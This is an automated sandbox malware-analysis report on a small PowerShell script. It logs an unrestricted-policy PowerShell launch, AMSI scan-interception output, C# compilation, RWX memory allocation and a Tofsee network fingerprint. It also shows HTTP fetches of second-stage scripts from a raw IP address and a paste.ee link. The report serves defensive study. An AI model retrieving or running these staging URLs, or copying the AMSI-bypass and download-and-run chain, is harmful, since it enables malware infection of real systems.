Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Sept. 18, 2023, 9:45 a.m.	Sept. 18, 2023, 9:47 a.m.

Size	859.0B
Type	ASCII text, with CRLF line terminators
MD5	`3377b4e386b5ef09b80f96c3b121f9c8`
SHA256	`d295b2db5347e6873ef32f8db3663f601be989b67f6d743e100541ab80124d5b`
CRC32	`9B419D62`
ssdeep	`24:YcfpnFMCQgFwfqfpnFMLbfpnFMCQgA0f0FfpnFMCQgBwfn:YcfpEqfpkbfpJGfpJ+n`
Yara	None matched

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\Magic_Stage.ps1
2540
- csc.exe "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\9mrxduhn.cmdline"
  2712
  - cvtres.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\test22\AppData\Local\Temp\RESF4A2.tmp" "c:\Users\test22\AppData\Local\Temp\CSCF4A1.tmp"
    2756
- csc.exe "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\afgz_pv1.cmdline"
  2804
  - cvtres.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\test22\AppData\Local\Temp\RESF993.tmp" "c:\Users\test22\AppData\Local\Temp\CSCF983.tmp"
    2848
- wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "2540" "928"
  2896

Name	Response	Post-Analysis Lookup
paste.ee	A 104.21.84.67 A 172.67.187.200	104.21.84.67

IP Address	Status	Action
104.21.84.67	Active	Moloch
164.124.101.2	Active	Moloch
44.203.122.41	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49162 -> 44.203.122.41:80	2032162	ET INFO PS1 Powershell File Request	Potentially Bad Traffic
TCP 192.168.56.101:49174 -> 104.21.84.67:443	2034978	ET POLICY Pastebin-style Service (paste .ee) in TLS SNI	Potential Corporate Privacy Violation
TCP 192.168.56.101:49174 -> 104.21.84.67:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.101:49174 104.21.84.67:443	C=US, O=Google Trust Services LLC, CN=GTS CA 1P5	CN=paste.ee	cd:77:4c:26:1f:f8:63:15:43:5a:ba:aa:11:f1:e7:1a:23:3e:4b:15

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW Sept. 18, 2023, 9:45 a.m.	computer_name: TEST22-PC	1	1	0

Command line console output was observed (10 events)

Time & API	Arguments	Status	Return
WriteConsoleW Sept. 18, 2023, 9:45 a.m.	buffer: AMSI providers' scan interception console_handle: 0x0000001f	1	1
WriteConsoleW Sept. 18, 2023, 9:45 a.m.	buffer: -- Maor Korkos (@maorkor) console_handle: 0x0000002f	1	1
WriteConsoleW Sept. 18, 2023, 9:45 a.m.	buffer: -- 64bit implemetation console_handle: 0x0000003f	1	1
WriteConsoleW Sept. 18, 2023, 9:45 a.m.	buffer: Exception calling "AmsiInitialize" with "2" argument(s): "Unable to load DLL 'a console_handle: 0x00000023	1	1
WriteConsoleW Sept. 18, 2023, 9:45 a.m.	buffer: msi': The specified module could not be found. (Exception from HRESULT: 0x80070 console_handle: 0x0000002f	1	1
WriteConsoleW Sept. 18, 2023, 9:45 a.m.	buffer: 07E)" console_handle: 0x0000003b	1	1
WriteConsoleW Sept. 18, 2023, 9:45 a.m.	buffer: At line:22 char:23 console_handle: 0x00000047	1	1
WriteConsoleW Sept. 18, 2023, 9:45 a.m.	buffer: + [Apis]::AmsiInitialize <<<< ("MyScanner", [ref]$ctx) console_handle: 0x00000053	1	1
WriteConsoleW Sept. 18, 2023, 9:45 a.m.	buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException console_handle: 0x0000005f	1	1
WriteConsoleW Sept. 18, 2023, 9:45 a.m.	buffer: + FullyQualifiedErrorId : DotNetMethodException console_handle: 0x0000006b	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 94 events)

Time & API	Arguments	Status	Return
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x04ff6530 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x04ff6530 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x04ff6530 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x04ff6530 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x04ff6530 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x04ff6530 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004ae710 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6e60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6ea0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6ee0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 18, 2023, 9:45 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004b6de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 18, 2023, 9:45 a.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ Sept. 18, 2023, 9:45 a.m.	stacktrace: ND_RI8+0xa7 ND_WI2-0x25 mscoree+0x1a36a @ 0x741ca36a 0x55613e9 system+0x131c68 @ 0x70b21c68 system+0x1318d0 @ 0x70b218d0 system+0x13136d @ 0x70b2136d system+0x131277 @ 0x70b21277 system+0x130fda @ 0x70b20fda system+0x130f91 @ 0x70b20f91 system+0x130a6f @ 0x70b20a6f system+0x13091e @ 0x70b2091e system+0x14c562 @ 0x70b3c562 system+0x19a8c2 @ 0x70b8a8c2 system+0x19a79e @ 0x70b8a79e system+0x134ff1 @ 0x70b24ff1 system+0x4e97e7 @ 0x70ed97e7 microsoft+0x1214db @ 0x705b14db system+0x152388 @ 0x70b42388 system+0x1a11a0 @ 0x70b911a0 system+0x18cfe5 @ 0x70b7cfe5 system+0x1984cd @ 0x70b884cd system+0x193baf @ 0x70b83baf system+0x19ac03 @ 0x70b8ac03 system+0x19a884 @ 0x70b8a884 system+0x19a79e @ 0x70b8a79e system+0x134ff1 @ 0x70b24ff1 system+0x4e97e7 @ 0x70ed97e7 microsoft+0x1214db @ 0x705b14db system+0x152388 @ 0x70b42388 system+0x1a11a0 @ 0x70b911a0 system+0x18cfe5 @ 0x70b7cfe5 system+0x1984cd @ 0x70b884cd system+0x193baf @ 0x70b83baf system+0x19ac03 @ 0x70b8ac03 system+0x19a884 @ 0x70b8a884 system+0x19a79e @ 0x70b8a79e system+0x19a6b1 @ 0x70b8a6b1 system+0x19a4bf @ 0x70b8a4bf system+0x198a79 @ 0x70b88a79 system+0x19861c @ 0x70b8861c system+0x18d1fe @ 0x70b7d1fe system+0x193c2f @ 0x70b83c2f system+0x193b12 @ 0x70b83b12 system+0x18fe09 @ 0x70b7fe09 system+0x18f8c7 @ 0x70b7f8c7 mscorlib+0x216e76 @ 0x71fa6e76 mscorlib+0x2202ff @ 0x71fb02ff mscorlib+0x216df4 @ 0x71fa6df4 CoUninitializeEE-0x29870 mscorwks+0x1b4c @ 0x72891b4c CoUninitializeEE-0x125de mscorwks+0x18dde @ 0x728a8dde CoUninitializeEE-0x4990 mscorwks+0x26a2c @ 0x728b6a2c CoUninitializeEE-0x495d mscorwks+0x26a5f @ 0x728b6a5f CoUninitializeEE-0x493f mscorwks+0x26a7d @ 0x728b6a7d DllRegisterServerInternal+0x4cf2b GetPrivateContextsPerfCounters-0xa76e mscorwks+0xa3191 @ 0x72933191 CreateAssemblyNameObject+0xb7ec DllRegisterServerInternal-0x4937 mscorwks+0x5192f @ 0x728e192f CreateAssemblyNameObject+0xb788 DllRegisterServerInternal-0x499b mscorwks+0x518cb @ 0x728e18cb CreateAssemblyNameObject+0xb6ae DllRegisterServerInternal-0x4a75 mscorwks+0x517f1 @ 0x728e17f1 CreateAssemblyNameObject+0xb83a DllRegisterServerInternal-0x48e9 mscorwks+0x5197d @ 0x728e197d DllRegisterServerInternal+0x4ccfc GetPrivateContextsPerfCounters-0xa99d mscorwks+0xa2f62 @ 0x72932f62 DllRegisterServerInternal+0x4cdd6 GetPrivateContextsPerfCounters-0xa8c3 mscorwks+0xa303c @ 0x7293303c GetMetaDataInternalInterface+0xcf27 _CorDllMain-0x9ae mscorwks+0x16805a @ 0x729f805a BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x755c33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 04 11 8b 54 11 04 5d c2 08 00 55 8b ec 8b 4d exception.instruction: mov eax, dword ptr [ecx + edx] exception.exception_code: 0xc0000005 exception.symbol: ND_RI8+0x9 ND_WI2-0xb mscoreei+0x2175a exception.address: 0x7332175a registers.esp: 102230808 registers.edi: 49039436 registers.eax: 1932662609 registers.ebp: 102230808 registers.edx: 16 registers.ebx: 8310712 registers.esi: 1968968226 registers.ecx: 0	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

Sept. 18, 2023, 9:45 a.m.

stacktrace:

ND_RI8+0xa7 ND_WI2-0x25 mscoree+0x1a36a @ 0x741ca36a
0x55613e9
system+0x131c68 @ 0x70b21c68
system+0x1318d0 @ 0x70b218d0
system+0x13136d @ 0x70b2136d
system+0x131277 @ 0x70b21277
system+0x130fda @ 0x70b20fda
system+0x130f91 @ 0x70b20f91
system+0x130a6f @ 0x70b20a6f
system+0x13091e @ 0x70b2091e
system+0x14c562 @ 0x70b3c562
system+0x19a8c2 @ 0x70b8a8c2
system+0x19a79e @ 0x70b8a79e
system+0x134ff1 @ 0x70b24ff1
system+0x4e97e7 @ 0x70ed97e7
microsoft+0x1214db @ 0x705b14db
system+0x152388 @ 0x70b42388
system+0x1a11a0 @ 0x70b911a0
system+0x18cfe5 @ 0x70b7cfe5
system+0x1984cd @ 0x70b884cd
system+0x193baf @ 0x70b83baf
system+0x19ac03 @ 0x70b8ac03
system+0x19a884 @ 0x70b8a884
system+0x19a79e @ 0x70b8a79e
system+0x134ff1 @ 0x70b24ff1
system+0x4e97e7 @ 0x70ed97e7
microsoft+0x1214db @ 0x705b14db
system+0x152388 @ 0x70b42388
system+0x1a11a0 @ 0x70b911a0
system+0x18cfe5 @ 0x70b7cfe5
system+0x1984cd @ 0x70b884cd
system+0x193baf @ 0x70b83baf
system+0x19ac03 @ 0x70b8ac03
system+0x19a884 @ 0x70b8a884
system+0x19a79e @ 0x70b8a79e
system+0x19a6b1 @ 0x70b8a6b1
system+0x19a4bf @ 0x70b8a4bf
system+0x198a79 @ 0x70b88a79
system+0x19861c @ 0x70b8861c
system+0x18d1fe @ 0x70b7d1fe
system+0x193c2f @ 0x70b83c2f
system+0x193b12 @ 0x70b83b12
system+0x18fe09 @ 0x70b7fe09
system+0x18f8c7 @ 0x70b7f8c7
mscorlib+0x216e76 @ 0x71fa6e76
mscorlib+0x2202ff @ 0x71fb02ff
mscorlib+0x216df4 @ 0x71fa6df4
CoUninitializeEE-0x29870 mscorwks+0x1b4c @ 0x72891b4c
CoUninitializeEE-0x125de mscorwks+0x18dde @ 0x728a8dde
CoUninitializeEE-0x4990 mscorwks+0x26a2c @ 0x728b6a2c
CoUninitializeEE-0x495d mscorwks+0x26a5f @ 0x728b6a5f
CoUninitializeEE-0x493f mscorwks+0x26a7d @ 0x728b6a7d
DllRegisterServerInternal+0x4cf2b GetPrivateContextsPerfCounters-0xa76e mscorwks+0xa3191 @ 0x72933191
CreateAssemblyNameObject+0xb7ec DllRegisterServerInternal-0x4937 mscorwks+0x5192f @ 0x728e192f
CreateAssemblyNameObject+0xb788 DllRegisterServerInternal-0x499b mscorwks+0x518cb @ 0x728e18cb
CreateAssemblyNameObject+0xb6ae DllRegisterServerInternal-0x4a75 mscorwks+0x517f1 @ 0x728e17f1
CreateAssemblyNameObject+0xb83a DllRegisterServerInternal-0x48e9 mscorwks+0x5197d @ 0x728e197d
DllRegisterServerInternal+0x4ccfc GetPrivateContextsPerfCounters-0xa99d mscorwks+0xa2f62 @ 0x72932f62
DllRegisterServerInternal+0x4cdd6 GetPrivateContextsPerfCounters-0xa8c3 mscorwks+0xa303c @ 0x7293303c
GetMetaDataInternalInterface+0xcf27 _CorDllMain-0x9ae mscorwks+0x16805a @ 0x729f805a
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x755c33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5

exception.instruction_r: 8b 04 11 8b 54 11 04 5d c2 08 00 55 8b ec 8b 4d
exception.instruction: mov eax, dword ptr [ecx + edx]
exception.exception_code: 0xc0000005
exception.symbol: ND_RI8+0x9 ND_WI2-0xb mscoreei+0x2175a
exception.address: 0x7332175a
registers.esp: 102230808
registers.edi: 49039436
registers.eax: 1932662609
registers.ebp: 102230808
registers.edx: 16
registers.ebx: 8310712
registers.esi: 1968968226
registers.ecx: 0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (2 events)

suspicious_features	GET method with no useragent header, Connection to IP address				suspicious_request	GET http://44.203.122.41/mini.ps1
suspicious_features	GET method with no useragent header				suspicious_request	GET https://paste.ee/r/AqqN6/0

Performs some HTTP requests (2 events)

request	GET http://44.203.122.41/mini.ps1
request	GET https://paste.ee/r/AqqN6/0

Allocates read-write-execute memory (usually to unpack itself) (40 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025ef000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021f9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05750000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a92000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025e9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06330000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06331000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05576000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05577000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05578000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05579000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0557a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021fa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a93000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05751000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06332000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
